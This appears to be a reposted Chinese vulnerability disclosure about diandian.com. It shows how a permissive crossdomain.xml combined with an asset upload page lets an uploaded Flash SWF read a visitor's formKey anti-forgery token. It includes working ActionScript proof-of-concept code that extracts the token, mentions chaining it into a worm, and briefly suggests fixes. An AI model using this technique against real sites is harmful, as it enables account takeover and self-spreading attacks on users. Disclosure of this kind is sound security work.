来源:自学PHP网 时间:2015-04-17 13:03 作者: 阅读:次
[导读] 模版静态资源上传页面(http://www.diandian.com/upload/asset)和Flash跨域通信的配置文件中(http://www.diandain.com/crossdomain.xml)允许的域名相同,只需上传一个SWF,就可以读到formKey了。把这SWF嵌...
模版静态资源上传页面(http://www.diandian.com/upload/asset)和Flash跨域通信的配置文件中(http://www.diandain.com/crossdomain.xml)允许的域名相同,只需上传一个SWF,就可以读到formKey了。把这SWF嵌入到blog页面中,读到访客的formKey,调用externalInterface把值给输到JS里,又能worm了吧。
http://x.libdd.com/farm1/f15341/7cef03a1/diandian.swf var result_txt = new TextField(); result_txt.x = 0; result_txt.y = 0; result_txt.height = 22; result_txt.width = 200; addChild(result_txt); var targetURL:String="http://www.diandian.com/home"; var request:URLRequest=new URLRequest(targetURL); request.method=URLRequestMethod.GET; var loader:URLLoader=new URLLoader(); loader.addEventListener(Event.COMPLETE,completeHandler); function completeHandler(event:Event){ var formKey:String = loader.data; formKey = formKey.split("window.DDformKey = '")[1].split("'")[0] result_txt.text = formKey } loader.load(request) 效果就这样: 修复方案: 改配置文件?改存储静态文件的域名? 作者 p.z |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com